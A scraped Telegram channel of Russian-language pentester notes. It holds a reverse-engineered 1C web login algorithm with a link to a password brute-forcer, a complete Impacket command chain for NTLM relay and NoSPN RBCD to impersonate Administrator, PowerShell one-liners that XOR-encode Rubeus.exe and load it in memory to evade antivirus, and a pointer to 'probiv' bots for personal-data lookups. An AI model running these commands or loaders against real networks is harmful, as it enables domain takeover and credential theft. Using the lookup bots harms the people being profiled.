Pentester`s Notes – Telegram
Pentester`s Notes
181 subscribers
47 photos
2 videos
31 files
136 links
Download Telegram
Всем привет!

Последнее время регулярно работал с 1с-ками. Да, пытался ломать их.
Как известно, способов подключения к информационной базе есть несколько. Это толстый, тонкий клиенты, мобильные приложения и, конечно же, веб-приложения (при условии, что база опубликована на веб-сервере). Как раз о последнем, мы и будем говорить сегодня.

Одной из частых задач во время тестирования на проникновение, является возможность быстро перебрать большой объём логинов и паролей.
Для этих целей существует замечательный инструмент - 1c-web-bruter. Проблема в его использовании только в том, что последний раз данная утилита была обновлена около 5 лет назад. Но разработчики 1с на месте не сидят. Они внесли изменения в алгоритм генерации строки аутентификации, которая отправляется на сервер для валидации учётных данных.

Как работало раньше:
# POST-request with get-parameter 'cred'
cred=base64(login + ":" + password)


На более новых версиях, данный способ работать не будет. К сожалению, пока нет всех доступных версий на руках. Поэтому точно сказать не могу, в какой момент данный способ теряет актуальность.

Мной была предпринята попытка отреверсить javanoscript-код, который исполнялся на клиенте в браузере. После нескольких потных ночей, алгоритм был восстановлен и протестирован. Это успех! Примечательно, что в javanoscript все алгоритмы base64, sha1, sha256, aes256-cbc были реализованы полностью на сыром javanoscript без использования каких-либо библиотек.

Как работает сегодня:
1. Генерируется первый блок: 32 байта случайных данных шифруются AES-CBC с ключом, полученным как sha256(sha1_base64(password)).
2. Генерируется второй блок: ещё 32 байта случайных данных шифруются AES-CBC с ключом, полученным как sha256(sha1_base64(password.upper())).
3. Добавляется имя пользователя с указанием его длины (4 байта, little-endian).
4. Вычисляется CRC32 для сформированного набора байт и добавляется (4 байта, little-endian).
5. Итоговый набор байт кодируется в base64 и отправляется в теле POST-запроса.

Интересно, что вектор инициализации (IV) для алгоритма AES-256 задан в коде и является постоянным - bytes([157, 123, 154, 32, 105, 101, 187, 40, 6, 122, 72, 61, 178, 108, 113, 142])

Данный алгоритм был реализован мной в небольшой скрипт.
Прошу любить и жаловать - wb1c (название не очень)

https://github.com/durck/wb1c.git
https://github.com/durck/wb1c.git
https://github.com/durck/wb1c.git

С уважением, @durcm.
3
Channel name was changed to «Pentester`s Notes»
https://online.1c.ru/catalog/free - здесь можно скачать тонкий клиент 1с почти любой версии.

#1c #1с
2
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯1
Pentester`s Notes
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰1😁1
Please open Telegram to view this post
VIEW IN TELEGRAM
#rbcd #relay #ntlmrelayx #upn #nospn #lpe

При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).

Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.

Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay

#Check RBCD (Empty)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'

# To set RBCD
ntlmrelayx.py -t ldap://'DC_IP' --delegate-access --escalate-user 'controlledaccountwithoutSPN'

#Check RBCD (With SID of controlledaccountwithoutSPN)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'

# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'

# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'

# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'

# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'

# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
👍1🔥1
This media is not supported in the widget
VIEW IN TELEGRAM
Pentester`s Notes
This media is not supported in the widget
VIEW IN TELEGRAM
Боты для "пробива":
1. Духлес
2. Юзерсбокс

#пробив
👍1
Please open Telegram to view this post
VIEW IN TELEGRAM
Чтобы было под рукой.
$key = [byte][char]'A'; [byte[]]$data = Get-Content "C:\users\lab\desktop\redteam\Rubeus.exe" -Encoding Byte; $xored = $data | ForEach-Object { $_ -bxor $key }; [Convert]::ToBase64String($xored) | Set-Content "encoded.txt"

$key = [byte][char]'A'; $b64 = Get-Content "encoded.txt"; $bytes = [Convert]::FromBase64String($b64); $decoded = $bytes | ForEach-Object { $_ -bxor $key }; [System.Reflection.Assembly]::Load([byte[]]$decoded)


#xor #encode #bypass
🔥1😍1